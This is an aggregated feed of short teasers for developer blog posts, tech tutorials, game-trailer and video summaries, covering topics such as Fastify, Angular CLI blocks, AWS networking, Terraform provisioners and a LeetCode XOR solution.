    Vexo ~ E-Commercial platform: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Vexo ~ E-Commercial platform - Vexo – Elevate Your Everyday. Team Members: Chahat Gautam Project URL: https://devpost.com/software/vexo-e-commercial-platform While Vexo ~ E-Commercial platform represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building Vexo ~ E-Commercial platform wasn't just about writing code—it was about forging relationships and learning to work as a cohesive unit under pressure. Our team of 1 came together through the hackathon's networking channels. Despite being a solo effort, we found common ground in our passion for innovation. Daily Standups: We ma…  ( 6 min )
    James Brewer: Revolutionizing Core Fitness with Beat-Speed Training and the AbMax300 Introduction
    James Brewer - Founder Reps2Beat And AbMax300 In a world where fitness trends come and go, few innovations truly redefine how we train. James Brewer, a certified fitness coach and former college athlete, has done just that. He is the creator of the Reps2Beat (R2B) Training System, a groundbreaking method that fuses music and movement to unlock human performance. Unlike traditional fitness programs that rely on reps and timers, Brewer’s system aligns physical exercises with the tempo of music—delivering both efficiency and enjoyment in one beat-driven experience. The Reps2Beat Method: Fitness Meets Rhythm The R2B Training System is founded on what Brewer calls the “Absolute Beat-Speed Principle.” This principle uses varying beats per minute (BPM) from music tracks to guide exercise pace, he…  ( 6 min )
    Why I Choose Fastify Over ExpressJs (and Never Looked Back)?
    When I started Backend dev, ExpressJS was only option that was available to me as every tutorial and boilerplate code was about ExpressJS. But as I got deeper into performance, structure and real scalability ExpressJS started to feel outdated. That's when I met Fastify And Honestly This is one of the best decision with No Regrets I have ever made. 1. Scalability: Fastify is designed and built for performance at scale. It handles 10x more load than ExpressJS thanks to it's optimised core and low overhead. 2. Speed: Fastify isn't just called fast, it is fast. Benchmark Test: Fastify: 60k/sec ExpressJS: 15k/sec 3. Plugin System: My favourite thing in fastify is their encapsulated plugin structure. Fastify gives an encapsulated space for writing logics, routes, schemas and many more thing because of this we can structure our api in more modular and safer way. In this way we are not exposing the credentials in global space and making a global middleware chaos. 4. Schema: Fastify forces you to define req/res schemas resulting: 1. Safer Api 2. Self Documented Routes 3. Better Dev Experience with less guess work 5. Typescript Support: We don't have to use any everywhere in backend now as Fastify is natively Typescript supported. Still thinking? 1. Slower Performance 2. No built-in validation 3. No structure our of the box 4. Middleware Hell 5. Manual Everything There are many more features in Fastify like: prebuilt plugin libraries, active community, responsive and future proof atleast for next 5 years. 🧠 Final Thought faster Express it’s a better engineered backend framework. If you care about performance, scalability, safety, and dev sanity… Best choice. No regrets.  ( 5 min )
    Angular Material Blocks now supports Angular v20!
    It has been almost 3 months since we announced the Angular Material Blocks project. On launch, we started with 100+ blocks, a traditional way of allowing developers to copy/paste the codes & an intuitive CLI which handles everything for devs. Try running npx @ngm-dev/cli init in your existing Angular project and then add a sample login form with command npx @ngm-dev/cli add free-authentication/login-email-password, read more about CLI here. If you are not ready to try in existing project, we also have a sample project ready on GitHub for you to try out! Since launch, we have added 80+ blocks. We have also added an MCP server to the project, which allows developers to add blocks just by having a chat in their AI based IDE. We are confident that this has helped developers to build their appl…  ( 8 min )
    Gareth David Studio: The BEST Way to Organise Your Fonts! - Featuring FontBase
    Got a font mess? This video dives into using FontBase to whip your font library into shape—setting up watched folders, ditching duplicates, previewing (even Google Fonts), auto-activating, pinning favorites, playing with glyphs, creating collections, syncing via the cloud and packaging fonts for projects. It even covers how it all integrates smoothly with InDesign, Illustrator and Photoshop. Want more? You can grab FontBase for free (or score 3 months of “Awesome” features with code GDS), plus check out paid perks like super-search, auto-activation folders, crowd tags and a glyph inspector. Finally, join the GDS Design School community on Discord for extra tips, feedback and design challenges. Watch on YouTube  ( 5 min )
    No Laying Up Podcast: 3M, Lottie Woad, Happy Gilmore 2 Review | NLU Pod, Ep 1047
    In this episode Shane Bacon swings by to break down Kurt Kitayama’s clutch victory at the 3M Open and weighs in on the tough Ryder Cup roster decisions Team USA faces. He also launches a fun new “Do You Remember This?” segment, spots five rising Korn Ferry Tour graduates primed to make waves on the PGA Tour, and checks in on Joaquin Niemann’s form. Then, because golf chat isn’t enough, the crew tees off on Happy Gilmore 2—dissecting its callbacks, new jokes and whether it lives up to the original cult classic. Watch on YouTube  ( 5 min )
    IGN: Gold Gold Adventure Gold - Official Early Access Launch Trailer
    Gold Gold Adventure Gold has officially dropped into Early Access on PC, and it’s as gleefully chaotic as it sounds. This roguelike city-builder hands you god-like powers fueled by pure gold—build wild cities, pet towering monsters, and watch puny adventurers scurry about as you bend nature (and your foes) to your will with over-the-top spells. The new launch trailer teases all the mayhem: from epic city expansions to gold-fueled sorcery, it promises a sandbox of strategic madness wrapped in indie charm. Ready to embrace the glittery chaos? Gold Gold Adventure Gold is live now! Watch on YouTube  ( 5 min )
    IGN: Demon Slayer -Kimetsu no Yaiba- The Hinokami Chronicles 2 Review
    Demon Slayer: Kimetsu no Yaiba – The Hinokami Chronicles 2 ups the ante with slick arena-style combat and a deeper roster, building on the original without totally reinventing the wheel. Gear feels a tad superfluous and the Path of the Demon Slayer could use more meat, but the Story Mode’s solid narrative and the juice in the fights keep things engaging. On top of that, subtle gameplay tweaks and the roguelike Hashira Training mode freshen up the formula. It’s a worthy sequel that delivers a familiar yet refined Demon Slayer experience—just hopefully not one we’ll wait four years for again. Watch on YouTube  ( 5 min )
    IGN: Monster Hunter Stories 3: Twisted Reflection - Official Announce Trailer | Nintendo Direct 2025
    Monster Hunter Stories 3: Twisted Reflection got its big reveal in the July 31st Nintendo Direct, showcasing a brand-new saga from Capcom headed to Nintendo Switch 2, PS5, Xbox Series X|S, and PC (Steam) in 2026. Get ready to wander through breathtaking environments, team up with colorful new allies, and of course, take on all sorts of epic monsters in this latest chapter of the Stories franchise. Watch on YouTube  ( 5 min )
    IGN: Once Upon a Katamari - Official Reveal Trailer | Nintendo Direct Partner Showcase 2025
    Once Upon a Katamari just rolled onto the scene with its Official Reveal Trailer during the July 31st Nintendo Direct Partner Showcase 2025. You get a first look at the classic ball-rolling chaos, now sporting slick new graphics and gameplay tweaks on the Nintendo Switch 2. Get ready to stick, roll and collect everything in sight—Once Upon a Katamari launches on October 24, 2025! Watch on YouTube  ( 5 min )
    IGN: Plants vs. Zombies: Replanted - Official Announce Trailer | Nintendo Direct Partner Showcase 2025
    Plants vs. Zombies: Replanted has just risen from the grave at the July 31st Nintendo Direct Partner Showcase, giving the beloved tower-defense classic a fresh coat of paint and modern gameplay tweaks. Get ready to plant peashooters and unleash cherry bombs once more—this remake stomps onto Nintendo Switch and Switch 2 on October 23. Watch on YouTube  ( 5 min )
    IGN: Hyrule Warriors: Age of Imprisonment - Official Gameplay Trailer | Nintendo Direct Partner 2025
    Hyrule Warriors: Age of Imprisonment just dropped its official gameplay trailer during the July 31 Nintendo Direct, showcasing wild hack-and-slash action straight from Koei Tecmo. Suit up this winter on Nintendo Switch 2 for a brand-new Legend of Zelda spin-off that promises explosive battles, familiar faces, and castle-smashing mayhem. Watch on YouTube  ( 5 min )
    IGN: Pritto Prisoner - Official Teaser Trailer | Nintendo Direct Partner Showcase 2025
    Pritto Prisoner Teaser Trailer Highlights Pritto Prisoner is an asymmetrical multiplayer escape-action game from Pincool where you and your friends squad up as imprisoned animals trying to bust out of a high-security island prison full of robot guards. You’ll hide in crates, rig up traps and even fling gooey biological waste to stun patrol bots as you plot your daring getaway. The teaser confirms a Winter 2025 launch on Nintendo Switch, Nintendo Switch 2, and PC (Steam), so start sharpening those escape plans and get ready to break free! Watch on YouTube  ( 5 min )
    IGN: Dragon Ball: Sparking Zero - Official Nintendo Switch 2 Trailer | Nintendo Direct Partner Showcase
    Dragon Ball: Sparking Zero – Nintendo Switch 2 Trailer Recap Dragon Ball: Sparking Zero just dropped its official Nintendo Switch 2 trailer during the July 31 Nintendo Direct Partner Showcase, giving us a taste of its over-the-top, stylish fighting gameplay. Set to launch on November 14, 2025, this next-gen brawler promises epic clashes, flashy moves, and the high-octane action Dragon Ball fans love. Watch on YouTube  ( 5 min )
    IGN: Persona 3: Reload - Official Nintendo Switch 2 Trailer | Nintendo Direct Partner Showcase 2025
    Persona 3: Reload just dropped its official trailer for the Nintendo Switch 2, unveiled during the July 31 Nintendo Direct Partner Showcase. This Atlus-made remake brings back the haunting “Dark Hour,” social links and turn-based Persona combat with fresh visuals and tweaks. Mark your calendars for October 23— that’s when you can dive into the revamped classic, battle Shadows and build bonds on Nintendo’s next-gen handheld. Watch on YouTube  ( 5 min )
    CinemaSins: Everything Wrong With Snow White (2025) in 19 Minutes or Less
    TL;DR CinemaSins demolishes the new live-action Snow White in a merciless 19-minute teardown, sprinkling in snarky jokes, nitpicks and behind-the-scenes quips. Expect familiar CinemaSins staples—“sins” counter, pop-culture call-outs and a relentless pace that spares no plot hole. They also plug BetterHelp therapy, their main site, social channels (YouTube, Discord, Reddit, TikTok, Instagram), a sinful poll to learn more about viewers and a Patreon campaign. Bonus: writer credits and Jeremy’s new book are all linked for die-hard fans. Watch on YouTube  ( 5 min )
    Mastering AWS Networking: My Journey Begins!
    I'm incredibly excited to announce that I'm diving deep into the world of AWS Networking, and I'm kicking off an "AWS Networking Series" to share my learning journey with all of you! My goal is to build a solid understanding of cloud networking architecture. Why Cloud Networking? What I'm Learning So, what exactly are *networks? * Simply put, computer networks are systems that allow multiple computers to communicate. They are a collection of devices that can exchange data packets, with IP addresses guiding these packets to their destinations. *And what about a VPC? * A Virtual Private Cloud (VPC) is essentially a private, isolated section of a network that an organization owns within a cloud provider's infrastructure. It's crucial because it allows organizations to control and filter what enters and exits their network, and precisely manage access for devices, services, or people. My Commitment I'm particularly excited to share my progress as I build a VPC with you! Stay tuned for more updates as I delve deeper into AWS networking. Let's learn together!  ( 6 min )
    Ekubo: A Simple Guide to Decentralized Liquidity on Starknet
    Ekubo is a decentralized trading platform (AMM) built on Starknet. It allows users to trade, earn, and provide liquidity with low fees and full control over assets. Ekubo lets users swap tokens and earn fees by providing liquidity. It uses Starknet’s fast Layer 2 technology for cheaper and faster transactions. Built on Starknet for speed and scale Non-custodial and permissionless Lower gas fees than Ethereum Smart liquidity management Concentrated liquidity On-chain order routing Wallet-based control Developer-friendly Low fees Full asset control Fast trades Only on Starknet Requires Web3 wallet Not beginner-focused Binance: centralized, custodial Coinbase: beginner-friendly, but limited DeFi tools Ekubo: decentralized, more control, but needs some DeFi knowledge Forbes Thinks Forbes highlights Layer 2 as key to Ethereum’s growth. Ekubo supports that vision by making DeFi more accessible and cheaper. Connect a Starknet wallet Go to Ekubo Swap tokens or provide liquidity Manage your positions anytime Yes, it’s non-custodial and uses audited contracts. It’s better for users familiar with DeFi tools. Starknet wallets like Argent X. Yes, but much lower than Ethereum mainnet. Currently Starknet only. Ekubo offers a fast, secure way to trade and earn on Starknet. It’s ideal for DeFi users seeking low fees and more control.  ( 5 min )
    i want create a small website using html and css
    A post by Saloni Yangundi  ( 4 min )
    Embracing the Chaos of a Multi-Passionate Career
    — An honest take on being multi-passionate in a world that keeps asking us to niche down If you're a "Jack of all trades" like me, then you probably understand how overwhelming it can feel to settle on just one path. People like us thrive on variety, creativity, and the challenge of doing something new. We tend to get restless doing the same thing over and over again, and we find joy in using different parts of ourselves in our work. But the world doesn’t always celebrate this. From career coaches to social media advice, everyone seems to be saying the same thing: “Pick one thing and stick to it.” Well, after years of exploring and experimenting, I’ve come to a liberating realization: you don’t have to settle for just one thing. There are ways to bring structure to your career without kill…  ( 7 min )
    From Zero to Telegram AI Bot: My Experience Building with Bolt and Gemini
    I’ve built a lot of bots but never for Telegram. And never with AI. I wanted to push beyond my comfort zone in Python, and finally explore how hard (or easy?) it really is to build a fully working Telegram bot, one that doesn’t just echo messages, but helps with something practical: creating and editing content for Telegram itself. I chose the AI + content theme for a reason: We scroll past hundreds of Telegram posts daily, but what if AI could write, clean up, or even repurpose them right inside the chat? This is how the idea for my Gemini-powered Telegram assistant was born. Bonus: Why You Should Try It Too I started the project on Bolt.new - an AI-powered coding environment. After signing in, I was dropped into a minimal interface with a chat window. Bolt includes a full library of b…  ( 8 min )
    Debugging on the Move #25
    Servus and welcome to Day 25 – writing this one a bit earlier than usual, since I’m spending the whole day traveling by train. 🚆 Even while on the go, I’m not stopping. Today I’m focusing on: Fixing a few stubborn bugs that have been hanging around too long Cleaning up logic that’s been giving me trouble Making sure things stay stable as I prepare for new features While I’m at it, I’ve also started documenting parts of the CRM more clearly. It’s already helping me think through edge cases — and will make it easier to bring collaborators on board later. Let’s see how much I can get done before my stop. Thanks for reading! Jonathan (0xj0n1)  ( 5 min )
    The UX Exercise That Quietly Changed How I Design (and Mildly Embarrassed Me)
    This wasn’t part of any UI\UX Design Services framework. No Nielsen Norman writeup. No double diamond. Just something I started doing because my design instincts were quietly failing me. Everything looked fine. The layout was neat. The type hierarchy was sound. The interactions passed the sniff test. But people were still getting stuck. Or confused. Or just… bouncing. The metrics said "probably okay." My gut said "something’s wrong." So I tried something odd: I made up a user. Not a persona. A person. With a cracked phone, bad Wi-Fi, and a general mistrust of buttons. Then I used my product like they would. And it changed how I design. It’s not real research. It’s not scientific. It won’t pass peer review. It’s just this: pick a user who doesn’t exist (but might as well). Pretend to be the…  ( 6 min )
    Qwen3-30B-A3B-Thinking-2507 Reasoning Model In-Depth Review
    🎯 Key Takeaways (TL;DR) Breakthrough Reasoning Capabilities: Qwen3-30B-A3B-Thinking-2507 achieves significant improvements in math, coding, and logical reasoning, scoring 85.0 on AIME25 Local Deployment Friendly: Runs on 32GB RAM with quantized versions, achieving 100+ tokens/s on M4 Max Dedicated Reasoning Mode: Separated from non-reasoning version, specifically optimized for complex reasoning tasks with increased thinking length 256K Long Context: Native support for 262,144 tokens context length, suitable for complex document processing Active Community Support: Open-source community rapidly provides GGUF quantized versions with continuous tool compatibility improvements Qwen3-30B-A3B-Thinking-2507 What is Qwen3-30B-A3B-Thinking-2507 Core Technical Features Performance Benchmarks De…  ( 9 min )
    🚀 How I Hosted a Website Locally Using NGINX + Cloudflare Tunnel + Custom Domain
    Two days ago, I bought a .cfd domain for ₹89 on impulse. I didn’t have a hosting plan. No VPS. No static IP. No plan, really. But I did have one goal: 👉 "Can I host a secure, public-facing website straight from my local machine... without exposing my IP or touching router configs?" Turns out, yes. Yes, I can. Here's how — and more importantly, why I did it this way. I wanted: To run a simple NGINX-powered static site No monthly hosting bills HTTPS (because insecure URLs scream "hobby project") And ideally, a solution that "just works" — no duct tape But I didn’t have: A static IP Control over my ISP’s router for port forwarding Budget for VPS hosting Of course, I thought of Ngrok. It's the OG local tunnel tool. Dead simple. Plug and play. But there were issues: Free version rotates URLs —…  ( 6 min )
    Differences in Response Models between the Vertex AI SDK and the Gen AI SDK
    When migrating a Python-based AI application from the Vertex AI SDK to the Gen AI SDK, I made an interesting discovery: the Gen AI SDK uses a Pydantic-based response model (GenerateContentResponse), which means you can serialize it with model_dump() or model_dump_json(). For anyone unfamiliar with the current landscape, it can be confusing that Google offers multiple official SDKs for working with the Gemini API. Below is some background before we dive in. At the moment, Gemini exposes two main APIs and three Python SDKs. Gemini API in Vertex AI Access Gemini models via Google Cloud’s Vertex AI Requires a Google Cloud project IAM-based authentication and access control Per-project quotas that throttle usage as needed See: “Migrate from the Gemini Developer API to the Vertex AI Gemini AP…  ( 7 min )
    My First Full-stack Project
    This is my first full-stack project. A site that allows users to send and receive anonymous confessions. I used Next.js for front and backend and mongodb for db. Very proud of this one. This one made me feel like I've awakened as a developer 😤. You can check it out here https://dontjudge.vercel.app Feel free to give feedback, constructive criticism or tips for me going forward. Enjoy!! Also I'm new here and looking forward to collaborating on different projects incase anyone is interested. I'm trying to build my portfolio😌.  ( 5 min )
    Apache Kafka Monitoring Principles for Real-Time Analytics Optimization
    Real-time analytics systems thrive on speed, precision, and uninterrupted data flow. Whether powering fraud detection, user behavior tracking, or logistics dashboards, they rely on streamlined data pipelines to deliver results in milliseconds. Techniques from Apache Kafka monitoring provide a valuable framework for observing and optimizing real-time analytics infrastructure at scale. In this guide, we explore how monitoring concepts from distributed streaming platforms can help you tune real-time analytics systems for reliability, efficiency, and low-latency performance. Analytics in real time is unforgiving. A 2-second delay in fraud detection can cost millions. Missed user clicks in ad-tech platforms reduce revenue. To prevent these issues, real-time systems must be watched continuously—…  ( 7 min )
    How to Prepare Your Data and Goals Before Building Anything with ML
    You’re ready to bring AI into your product or platform. Maybe your boss wants a recommendation engine. Maybe the roadmap has a “smart” feature that needs actual intelligence behind it. If you want to avoid wasting months of work and thousands of dollars, you need to plan better than most companies do. Most teams rush into AI work without a clear idea of what they’re solving. That’s mistake number one. Write down what success looks like. Make it short. Make it tied to your business logic. This helps the team stay aligned and gives leadership something to measure against. Let’s be real. Most AI projects die because the data isn’t ready. Don’t just assume you can fix this later. Model performance means nothing if the input is inconsistent or partial. You won’t ship a perfect AI feature on the first try. That’s fine. What matters is having a plan that breaks the work into manageable pieces. You need data engineers early in the process. AI teams move faster when they have clean data pipelines, proper logging, and reproducible workflows. You don’t always need to hire everyone in-house. For short-term builds or prototyping, external partners or contractors can work well. Just make sure they understand your business and integrate with your existing dev process. Run through this checklist: Are your goals clearly tied to business outcomes? Do you know which data you need and already have? Are data quality standards defined and shared? Is there a roadmap with both quick wins and long-term phases? Do you have the right engineering support in place? Have you decided what to build in-house and what to outsource? Are stakeholders on board and aligned? AI can work for your product. It can save time, reduce errors, or unlock new features. But only if the groundwork is done right. here.  ( 7 min )
    Beyond Clean Code & Architecture: Adapting Practices for Project Success
    Raise your hand 🖐️ if you recognize this meme: Do you agree with it? I generally do. In today's fast-changing tech world, it's easy to get lost in the 'rules' of coding. It's important that we occasionally stop and rethink our methods—not to reduce the importance of solid coding principles, but to make sure our efforts align with the broader goals of our projects and companies. Leads Horizons is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber. Traditional coding practices are the foundation of software development projects. They ensure code readability, maintainability, and scalability. But blindly applying these practices, without considering the project's specific context, can lead to inefficiencies and waste. For ex…  ( 9 min )
    Learning In Public - DevOps
    Hi, I'm Dharun. This series will be about me learning devops in public. Every day, I’ll post what I’ve learned, problems I faced, and resources I used. Before this, I spent time learning Programming, DSA, and a bit of Frontend and Backend development but I did it all in private. I followed tutorials, took notes, but never really shared my progress or struggles. When I decided to dive into DevOps, I started collecting resources, and I came across a YouTube channel by Savinder Puri. He made a video about learning in public it was so informative and also it introduced me to an idea of learning in public. And I also came across a blog written by Shawn Wang Learning in public means putting yourself out there, sharing what you’re learning, your mistakes, your small wins, even when it’s messy or incomplete. It’s not about teaching others (though that can happen), it’s about documenting your journey, staying accountable, and learning more deeply through reflection. More than anything, I’ve realized that learning in public isn’t just for others, it’s for yourself. It helps to stay consistent to connect with others on the same path to get feedback and motivation So this time, I’m doing it differently. Starting tomorrow, I’ll be posting about what I learn each day.  ( 5 min )
    Boas práticas para criar prompts - João Cláudio Nunes Carvalho
    Quando você pede algo a um LLM, o prompt é o seu briefing criativo. Quanto mais claro, contextualizado e estruturado ele for, maior a chance de receber uma resposta certeira. Abaixo estão oito técnicas — testadas em batalhas diárias de quem nasceu nos anos 80 e ainda se lembra de rebobinar fita com caneta BIC — para turbinar seus prompts: Comece pelo porquê Contexto é rei Instruções explícitas, não implícitas Sequência lógica Demonstração pelo exemplo (few-shot) Defina métricas mensuráveis Token budget & validação Itere como quem refatora código Dica flash-back: pense no prompt como o lado A de uma mixtape — ele define a vibe inteira. Se a seleção é confusa, a música (resposta) sai fora do ritmo. Aplicando essas técnicas, você transforma o prompt de “pergunta aberta” em briefing cirúrgico — e garante que o modelo devolva exatamente o que o seu projeto precisa, sem solo de guitarra fora de hora.  ( 6 min )
    What Is Schedule Variance in Project Management?
    Delivering a project on time is just as crucial as staying within budget. That’s why schedule variance in project management plays such a vital role in tracking performance. In this summary, you’ll learn how schedule variance helps identify whether a project is ahead or behind schedule—and why it matters for decision-makers. Schedule variance (SV) is a project management metric that measures the difference between planned progress and actual progress. It helps you evaluate if a project is on track, behind, or ahead of its timeline. Formula: A positive SV means you’re ahead of schedule. Monitoring schedule variance allows project managers to: Detect timeline slippage early Take corrective actions promptly Allocate resources effectively Improve future project estimates Agile sprint tracking Waterfall project milestones Construction timelines Software development lifecycles Understanding schedule variance in project management helps teams stay agile, responsive, and informed. It’s more than just a metric—it's a guidepost for staying aligned with goals and deadlines.  ( 5 min )
    Mr Sunday Movies: Bulletproof Monk - Caravan Of Garbage
    Caravan Of Garbage dives into the 2003 action-comedy Bulletproof Monk—yep, that’s the magic-scroll movie starring Chow Yun-fat and Seann William Scott. They call it a perfectly serviceable (if totally forgettable) guilty pleasure: fight scenes are fine, chemistry’s there, and the story does its job without blowing any minds. Want more? Head over to bigsandwich.co for early videos, bonus podcasts, and extended audio editions, or subscribe on YouTube and back the show on Patreon for merch and extra goodies. Watch on YouTube  ( 5 min )
    Conway's Law: The Organizational Frame your Architecture will not escape from
    Have you ever read Conway's law before: Organizations which design systems are constrained to produce designs which are copies of the communication structures of these organizations. — Melvin E. Conway, How Do Committees Invent? And considered how it relates to your experience upon entering a new organization and seeing its entire architecture? We will explore the different levels where Conway's law impacts and how to mitigate its effects if desired. Conway's Law, proposed by Melvin Conway in 1967, has withstood the test of time. It asserts that a system's design will mirror the structure of the organization that designed it. In other words, if a company has independent teams, the final product will likely consist of distinct components that function independently. Understanding this law …  ( 9 min )
    𝗔𝘂𝘁𝗼𝗺𝗮𝘁𝗶𝗰 𝗮𝘂𝘁𝗵𝗲𝗻𝘁𝗶𝗰𝗮𝘁𝗶𝗼𝗻 𝗽𝗿𝗼𝘃𝗶𝗱𝗲𝗱 𝗯𝘆 𝗔𝗽𝗽 𝗦𝗲𝗿𝘃𝗶𝗰𝗲
    😲 Azure authenticates my users — I didn’t write a single line of code I stopped writing authentication code. Azure App Service now does it for me — securely, automatically, and without a single line of backend auth logic. No more token parsing, claim validation, or login redirection nightmares. Just turn on “Authentication / Authorization”, and Azure handles Azure AD, Google, Facebook, GitHub, or Microsoft accounts. I built a secure internal tool in a day, and all users are already in my org. Bonus: It adds identity headers like X-MS-CLIENT-PRINCIPAL for free. 🔁 Ever used Easy Auth? Would you trust it in production?  ( 5 min )
    The Ultimate Guide to the MCP Inspector by CLI (Non-interactive Mode)
    The @modelcontextprotocol/inspector command-line tool is a powerful and versatile utility for developers working with the Model Context Protocol (MCP). While the Inspector is widely known for its interactive web UI, its CLI mode (--cli) unlocks a world of possibilities for scripting, automation, server testing, continuous integration, and direct interaction from your terminal. This guide provides an exhaustive reference to every feature, flag, and command available in the Inspector's CLI, complete with detailed explanations and extensive examples based on a deep analysis of its source code. Core Concepts Anatomy of a CLI Command Two-Layer Architecture: Launcher vs. Client Target Servers: Local vs. Remote Transport Protocols: stdio, sse, http Getting Started: Invocation …  ( 14 min )
    5 Skills You Need to Succeed in Computer Science (That Aren’t Coding)
    You often hear that computer science is all about coding. That is only part of the story. If you're looking at computer science engineering, it helps to know what else matters. Success in this field depends on more than your ability to write code. This guide will show you five important skills that support your journey. These are the skills that shape the way you learn, build, and grow. You will use them in class, in labs, and later at work. Code solves problems. You must first know what problem you are solving. That takes clear thinking. Break big problems into smaller ones Think through each step logically Test different solutions and choose the best one Problem-solving helps you think like an engineer. It teaches you how to approach new tasks with clarity and purpose. Your work means no…  ( 7 min )
    The Cost of Carrying Broken Things
    Somewhere in your organization right now, one of your developers is screen-sharing their terminal to a teammate and explaining a workaround so absurd it sounds like a prank. Someone else is fixing the same flaky test for the third time this week, hoping no one asks why it keeps failing. Your new hire is quietly panicking because the app runs locally on everyone else's machine (but not theirs), and they've run out of ideas for fixing it but all the senior folks are busy with a firefight right now. You aren't going to see any of this in a status report. It won’t show up in a retro. But your team carries these broken things every single day. What might surprise you, though: They’re not labeled "showstoppers". They’re not bugs in Jira with red tags for urgency. They’re not even considered “blo…  ( 7 min )
    Nolan R Ostrowski on Leadership, Innovation, and Building for the Future
    In a rapidly changing world, leadership requires more than just experience—it demands vision, adaptability, and an innovative mindset. Nolan R Ostrowski exemplifies this new era of leadership through a unique blend of strategy, empathy, and forward-thinking execution. Throughout his career, Nolan R Ostrowski has emphasized the importance of staying ahead of trends while remaining grounded in core values. His approach to innovation is not just about new technology or ideas—it’s about solving real problems, creating sustainable systems, and helping people thrive. Colleagues describe Nolan R Ostrowski as someone who listens first, thinks deeply, and leads by example. Whether guiding a team, launching a new initiative, or mentoring young professionals, he consistently brings clarity and direction to every project. One area where Nolan R Ostrowski has made a significant impact is in fostering a culture of collaboration. He believes that innovation flourishes when diverse perspectives come together, and he actively works to create environments where trust and creativity can coexist. Beyond the workplace, Nolan R Ostrowski is committed to giving back. He supports programs that encourage entrepreneurship, particularly for underrepresented groups, and regularly contributes to community-based initiatives that align with his mission of inclusive progress. Looking forward, Nolan R Ostrowski remains focused on leading with purpose. His goal isn’t just to adapt to the future, but to help shape it—by building systems that empower people, strengthen communities, and drive lasting change. Conclusion Nolan R Ostrowski continues to redefine what it means to lead in today’s world. His innovative mindset, people-first approach, and commitment to service position him as a transformative figure in any field he chooses to touch.  ( 5 min )
    AWS open source newsletter, #212
    Edition #212 - July 2025 Welcome to issue #212 of the AWS open source newsletter, the newsletter where I try and provide you the best open source on AWS content. This newsletter was started in January 2021, and since then over you have engaged in the projects and content I put together over 3 million times. Amazing, so thank you for those of you who are still following and still sending me messages of support. As always, this edition has more great new projects to check out. In this edition, we have a nice selection of projects to help you work with your data in Amazon S3, a new innovation framework, a security assessment tool, a tool for orchestrating CDK resources across AWS accounts, and the usual selection of generative AI demos across Strands Agents, the recently launched Amazon Be…  ( 23 min )
    Digital Archaeologists
    In the scorching heat of northern Guatemala, archaeologists once trudged through dense jungle, machetes in hand, hoping to glimpse hints of Mayan civilisation beneath the tangled vegetation. Today, they peer at high-resolution LiDAR scans on laptops, as neural networks highlight the geometric patterns of ancient settlements invisible to the naked eye. At Göbekli Tepe in Turkey, algorithms analyse thousands of carved symbols, revealing connections human researchers might have missed across decades of traditional study. Meanwhile, in British museums, AI methodically reconstructs fragmented pottery from photographed shards, completing in hours what once required painstaking years. Archaeology—perhaps our most tactile connection to human history—is experiencing a profound transformation as art…  ( 17 min )
    Choosing a UK Application Development Company in 2025
    Choosing a UK App Development Company: A Startup Guide With people spending about five hours a day scrolling through their phones (according to Exploding Topics), it became paramount for small businesses and startups to present their services in places where their clients live their lives — on their smartphones. That’s the point when you need to pay your attention to UK app development companies to narrow the divide between your customers and your offer. According to the Digital 2024 Global Overview Report, users around the world spend between 3.5 and 4.5 hours daily on mobile internet. That’s where your product needs to show up — reliably and fast. An extensive number of vendors may not be very clear from the start, which is why we have prepared this app development company guide. We’ll…  ( 11 min )
    What is Schedule Variance in Project Management?
    Is your project really on schedule—or does it just feel that way? In project management, delays often creep in unnoticed. Not because of poor execution, but because no one is tracking how time is slipping—until it's too late. That's where Schedule Variance (SV) in project management steps in. It reveals the gap between where your project should be and where it actually is. Let's understand it in a more detailed way. Schedule Variance (SV) is a metric that shows if you're ahead, behind, or on track with your project timeline. It's a part of the Earned Value Management (EVM) system, comparing: Earned Value (EV) – The approved budget for completed work Without SV, you're essentially managing on instinct. Here's what makes it essential: You detect delays before they derail delivery. Tackle pr…  ( 8 min )
    The 2025 Developer's AI Stack: 15 Tools That Actually Save Time (With Real ROI Data)
    The AI hype cycle has reached peak noise, but beneath the marketing fluff lies a harsh reality: most developers are overwhelmed by mundane tasks that consume a significant portion of their actual coding time. After analysing productivity data from 200+ development teams and tracking ROI metrics across Fortune 500 companies, we've identified the AI tools that deliver measurable time savings and genuine value. Forget the generic "AI will change everything" posts. This is about tools that reduce your 60-hour work weeks, eliminate debugging marathons, and ship features faster. Let's explore the 15 AI-powered tools that are revolutionising developer productivity in 2025. Before jumping into tools, consider this: studies show developers spend only 23% of their time writing code. The rest? Meet…  ( 9 min )
    LeetCode #136. Single Number
    Given a non-empty array of integers nums, every element appears twice except for one. Find that single one. You must implement a solution with a linear runtime complexity and use only constant extra space. Using XOR: O(n) Single pass through the array → O(n) O(1) Uses only one integer (result) → O(1) class Solution { public int singleNumber(int[] nums) { int result = 0; for (int i = 0; i < nums.length; i++) { result ^= nums[i]; } return result; } }  ( 5 min )
    💻 What Are Terraform Provisioners? (And Why They’re Like the Crew That Moves In After You Deploy)
    Hey everyone 👋 If you're learning Terraform, you’ve probably been told it’s all about creating infrastructure. But here’s the thing — launching a virtual machine is only half the story. The real question is: What happens after that VM is created? Is it configured? Is the app installed? Is it even usable? That’s where provisioners come in — and trust me, they’re more powerful than they first appear. Let me explain it the way I wish someone had when I was learning 👇 Imagine Terraform as a contractor who builds your house (spins up EC2, S3, etc.). Great! You have walls, a roof, electricity. But… there’s no furniture. No internet. No paint on the walls. Provisioners are like the team that walks in right after the house is built — setting up your Wi-Fi, installing furniture, and hanging that …  ( 7 min )
    What is Equipment Loan Management Software?
    Managing equipment can be a complex and time-consuming task, especially for businesses, organizations, and institutions that rely on various tools and machinery for daily operations. From managing inventory to tracking usage, maintenance, and returns, the process can quickly become overwhelming. This is where Equipment Loan Management Software comes into play. In this article, we’ll explore what equipment loan management software is, how it works, and the key features you should look for when selecting a system for your organization. By the end of this guide, you’ll have a clear understanding of how such software can benefit your business, reduce operational inefficiencies, and improve overall asset management. At its core, equipment loan management software is a digital tool designed to h…  ( 10 min )
    Meet ARKLABS API: Stateful AI Inference you never heard about
